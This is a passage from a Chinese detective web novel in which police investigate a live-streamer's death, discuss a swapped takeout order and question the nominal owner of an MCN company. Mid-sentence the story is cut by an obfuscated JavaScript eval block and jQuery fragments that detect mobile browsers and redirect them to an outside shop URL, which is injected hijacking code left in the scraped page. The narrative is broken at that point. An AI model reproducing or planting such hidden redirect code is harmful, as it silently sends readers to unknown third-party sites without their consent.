“那警花谁不爱嘛。”孟阳小声嘀咕，见“警花”师父和樊朔齐瞪眼，忙嘿嘿笑着转移话题。
“师父，我查过古松了，这人是普通一本毕业，之前在房地产公司做过房产销售，房地产不景气后就去互联网公司，明达MCN是他第四份工作，也是干得时间最长的一份。
明达公司有从助理里挑选合适人才，培养之后放到台前做主播的做法，古松做这么长时间，应该有往主播方向发展的意思。”
虞晴掀起眼皮儿，“上午咱们都在别墅区，谁去明达公司问的？”
“嘿嘿，辖区派出所。”孟阳老实回答。
“外卖呢，查到什么没有？”
孟阳说，“夏钰明最常吃的是一家叫华府的私房菜馆，主打江浙菜，饮食以清淡为主，人均消费两百加。
昨晚的菜就是从华府私房菜定的，他家一向是自派外送员，我跟那名外送员通过电话，因为夏钰明是老客户了，接到单子后他直接送来了，中间没遇到什么意外。”
“夏钰明点了什么菜？”
“皮皮虾、白灼菜心、木须肉和梭子蟹炒年糕，和在现场发现的菜完全不一样。”
虞晴点头，“被掉包了，胡萝卜就是木须肉里面的。”
警车在一家叫玲姐家常菜的饭馆停下，前面一辆车的沈峰过来敲车窗，笑道，“小樊，来，午饭就在玲姐家解决，就当欢迎你加入调查组。”
说着一把搂住樊朔的肩膀往前带，“别看玲姐家店不大，味道好得很。又开在市局旁边，平常大家都喜欢来她家吃。
小鱼儿就最喜欢吃她家的家常豆腐和蛋黄焗南瓜，是不是特好养活？”
虞晴暗暗翻白眼儿。
店内老板玲姐看见来人，忙迎上来招待，“沈哥，小鱼儿，来了？今儿吃什么？”
“玲姐。”虞晴乖乖叫人，其实大家来玲姐家吃饭也不单是她家饭菜味道好，玲姐是已故战友遗孀，这家店还是局里人凑钱借给玲姐盘下来的，不然孤儿寡母的谁也不放心。
小包内，四人点了六道家常菜，等玲姐离开，孟阳道，“朔哥，要不您晚上去我那儿住吧，培训学校那边肯定回不去了，分局这边招待所住满了，我在分局附近租房住，那个，小单间，您别嫌弃......”
沈峰替时不时情商和智商掉线的徒孙着急，在桌底下狠狠踢了孟阳一脚，同时笑着开口，“小鱼儿，你那房子不是三室两厅的？
自己住多浪费，人小樊现在是调查组借调的特殊人才，包吃包住是最基本的。就这么说定了，小樊，晚上跟小鱼儿回家，她那房子是段姐分的，放心住。”
“啊？啊！对对对，住师父家，师父家有客房......”
樊朔看看虞晴，再瞅瞅拼命冲他眨眼的沈峰，挠挠头貌似不好意思道，“这个，学姐，您......您那里方便吗？不然我去小孟那儿住......”
孟阳情商蓦地上线，“我家，我那单间还不到20平，朔哥您恐怕住不下。”
“行了，这案子什么性质不清楚？能有时间回家洗澡就不错了，还想回家睡觉？”
虞晴从手机上移开眼，点亮屏幕给众人看，“夏钰明死亡的消息已经传开了，鉴于他的特殊身份，估计不久局里就得收到限期破案的通知，全队都得打地铺，别在这儿贫嘴了。”
说话间，六道菜端上来，玲姐笑着招呼，“沈哥，小鱼儿，还有什么想吃的就叫我。”
等包间门再度合上，浏览过手机新闻的几人集体无语。随着自媒体越来越发达，信息外露无孔不入。
新闻照片上众人出入夏钰明家的照片虽然被打了马赛克，但标题都很惊悚。
“惊爆主播惨死家中”，“惊爆惨死主播系南雪男友，是否为情自杀”等都出来了。
叹口气，饭还没吃两口，限期破案的电话就打了过来，沈峰无奈接起，嗯嗯嗯地点头，两分钟后挂上电话，冲几人耸耸肩，“吃吧，刘局说了，限期五天破案。
小鱼儿这乌鸦嘴啊，看来真得在分局打地铺了。”
有了破案压力，原本合口味的饭菜也不香了，将唯一的甜点焗南瓜全部吃完，四人开车前往明达MCN公司，对夏钰明生前工作过的公司进行全面排查。
重点调查夏钰明团队的另外两人，助播钱伟以及经纪人罗薇，也就是当晚和夏钰明一起直播的另两位当事人。
明达MCN成立于三年前，工商注册信息显示法人叫邢荣，男，今年三十三岁，燕京本地人。四人到的时候邢荣也刚到公司，樊朔和虞晴对其进行询问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658000|205862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，沈峰和孟阳则去找一哥林行，也就是助理古松口中和夏钰明撞型的男主播。
邢荣办公室。
对于大周末被叫到公司，邢荣除了惊讶外，更多的是不耐烦。
他长着一张靠脸就能骗小姑娘的脸，大单眼皮，眼尾微微下垂，有一种男人身上很少见的惹人怜爱的气息。
不过长了张不讨喜的嘴，邢荣斜靠在沙发上，吊儿郎当道，“警察同志，您有什么问题赶紧问，我还得陪女朋友看画展呢。”
樊朔挑眉，“邢总，这公司是您创办的吧？怎么您好像不太关心的样子，不怕赔钱？”
邢荣嗐一声，实话实说，“我就是个挂名的，其实创办人是南雪，我俩私底下另有合同。”
樊朔脸色严肃起来，“为什么南雪要隐瞒创办人这个事实？”
“那谁知道，我就是一挂名的，每年拿点儿挂名费就得了，其他我可不问。”见对方不信，邢荣解释道，“我说的都是真的，喏，这是我俩私下签的股份转让合同。”
虞晴瞄一眼手机，问道，“南雪为什么找你做合伙人？”
“我俩是大学同学啊。”邢荣理所当然，“大学的时候就认识了，那时候她挺不容易的，经常出去打工赚学费，我就介绍了自家的会所给她。
哦，正经会所，警察同志您别想歪了，她在里面做服务员，就这么赚的学费。可能是报恩吧，谁知道她怎么想的。不过她人品还行，我就答应了。”
问过会所名字，虞晴蓦地问道，“你知道南雪喜欢你吧？”
邢荣脸色微变，不过很快调整好表情道，“警察同志，您别乱说话，南雪有男朋友的，都快结婚了，就是今早死的夏钰明......”
“谁跟你说夏钰明死了？”
“联系我的警察说的啊，好像叫孟阳，你可以去问问。”
在心里骂了傻徒弟一顿，虞晴面上没什么表情，继续道，“邢荣，我强调一遍，对于警方问话，还请如实回答。
故意隐瞒线索或者给出错误信息，涉嫌妨害公务，是要承担法律责任的，明白吗？”
“明白。”
虞晴厉声道，“那么回答我，知不知道南雪喜欢你？”
吭哧半天，邢荣点点头，“知......知道。”